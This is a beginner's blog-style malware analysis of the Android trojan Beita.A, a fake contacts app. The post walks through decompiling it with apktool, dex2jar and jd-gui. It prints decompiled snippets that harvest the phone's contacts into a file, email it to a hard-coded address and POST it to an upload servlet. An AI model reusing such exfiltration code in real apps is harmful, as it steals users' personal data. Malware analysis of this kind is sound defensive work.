Recently, I started reading Decompiling Android by Godfrey Nolan, primarily out of interest and curiosity. Obviously, I have an interest in malware and all-things threatsy, maliciously and shady (I made those words up, just now). Anyway, I figured I'd give this Android malware sample and whirl, and see what that side of the world looks like. This post will be my first analysis on this subject, so it most certainly may not be complete - but I'll try my best.

First, I'll mention some of the tools in my arsenal. I probably didn't need all of the following, but they certainly helped in one way or another. Here's what I used to decompile and analyze this sample:

apktool - a tool for reverse engineering Android apk files
dex2jar - tools to work with Android .dex and Java .class files
jd-gui - a fast standalone graphical Java decompiler for .class files

There are many other tools available out there - but these seemed to get the job done for me. Feel free to explore other popular ones, such as smali, an assembler/dissasembler for Android's .dex file format, as well as several others. Do some Google magic.

Anyway, on to the show. After receiving the apk file, the first thing that I did was unzip the file to see its contents. Here's what I found inside:

AndroidManifest.xml
META-INF/
classes.dex
com/
dsn.mf
javamail.charset.map
javamail.default.address.map
javamail.default.providers
javamail.imap.provider
javamail.pop3.provider
javamail.smtp.address.map
javamail.smtp.provider
mailcap
mailcap.default
mimetypes.default
org/
res/
resources.arsc

This doesn't tell a lot, but at a first glance it looks like it has some kind of email capability. Lets explore further.

Next, I used apktool to help perform a lot of magic with the apk file. Specifically, this tool decodes the AndroidManifest.xml file that contains information about the application's permissions, as well as run the apk file through baksmali to dissasemble the classes.dex file that we need to analyze.

Here's the command that I ran and the corresponding output:

$ java -jar apktool.jar d beita.apk ~/delicious/malicious/

Basically, that will dump all of the juicy files into the directory of your choosing. Here's the result:

res/
smali/
AndroidManifest.xml
apktool.yml

Those two files provide a lot of information about the application. We're specifically interested in the SDK version that it targets, as well as the permissions that the application requires. Lets crack that decoded AndroidManifest.xml file open and take a look inside.

<manifest android:versionCode="1" android:versionName="1.0" package="com.beita.contact"
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />

Inside of the apktool.yml:

sdkInfo:
	minSdkVersion: '5'
packageInfo:
	cur_package: com.beita.contact
    orig_package: com.beita.contact

As you can see, this application requests permissions to read and write contacts from the phone - as well as write to external storage like an SD card, I imagine, and access the Internet. The minSdkVersion specifies that the minimum version that this application will run on is version 5 - which if I'm correct, translates to Android 2.0 (Eclair).

So far it appears that this application will do something with the phone's contacts and the Internet. If you put the two together, it almost seems like this malware will harvest the user's contacts and exfiltrate them out to some remote location. Lets explore further.

The next step that I took was convert our classes.dex file into a jar file that we can easily decompile using jd-gui. Here's what that looks like:

$ dex2jar.sh ~/delicious/beita.apk

Simply pass the path to the apk file that you want to convert, and out will magically appear a beita.jar file that can be dropped into jd-gui for further analysis.

Here's a snapshot of the more interesting classes:

com/
	beita.contact/
    	Application
        ContactColumn
        ContactEditor
        ContactUtil
        ContactView
        ContactsProvider
        DBHelper
        MailUtil
        MyContacts
        Person
        UploadUtil

There's actually a lot more in here, but I'm only going to dig through the interesting ones and provide my conclusion based on some key findings.

At a first glance, one might think that it's just another contacts application. Lets take a look at snippets from the MyContacts class.

private boolean backup()
{
	for (;;)
    {
    	StringBuffer localStringBuffer;
        Iterator localIterator3;
        try
        {
        	File localFile = new File(Application.sdcardPathString + "/contact_backup.txt");
            if (localFile.exists()) {
            	localFile.delete();
            }
<--snip-->
{
	MailUtil.sendByJavaMail("zhangdafeng2012@126.com", "zhangdafeng2012@126.com" ...
    UploadUtil.uploadFile();
    return null;
}

The application creates a file called contact_backup.txt in the phone's SD card if it is mounted. I should also mention, there are many Chinese characters in the source code, which helps provide possible origin and/or target. Another interesting item to note, it looks like we're emailing that contact_backup.txt file. If we switch over to the UploadUtil class, here's some interesting items:

public class UploadUtil
{
	private static String srcPath = Application.sdcardPathString + "/contact_backup.txt";
   	public static void uploadFile()
    {
    	try
        {
        	HttpURLConnection localHttpURLConnection = (HttpURLConnection)new URL("http://192.168.2.105:8080/upload_file_service/UploadServlet").openConnection();
            localHttpURLConnection.setRequestMethod("POST")
            localHttpURLConnection.setRequestProperty("Connection", "Keep-Alive");
            localHttpURLConnection.setRequestProperty("Charset", "UTF-8");
            localHttpURLConnection.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + "******");
<--snip-->

You get the idea. Basically, it sends the contacts that are harvested in that file. The Person class contains what you would expect to see:

id
name
addresses
email addresses
phone numbers

The DBHelper class creates a SQLite database called mycontacts.db with a single table named contacts, which stores information about the contacts. I haven't spent enough time trying to understand this part - at this point I'm just assuming that contacts get stored in this DB file - but part of me doubts it a bit - I'll probably explore more later.

Anyway, that is all I have for now. To quickly summarize what I believe I have made sense of - is that this Android application essentially is a Trojan horse that poses as a fake contacts management application that harvests the phone's contacts and writes them out into a file that gets exfiltrated out of the phone via email. We noted the POST request as well, but to a private address - which doesn't make sense unless it's for testing or something (still need to investigate more). The purpose of this was just to get my feet wet and try something new and different - it's likely that I missed something or provided an incorrect analysis. Either way, it was fun!

Android/Beita.A malware analysis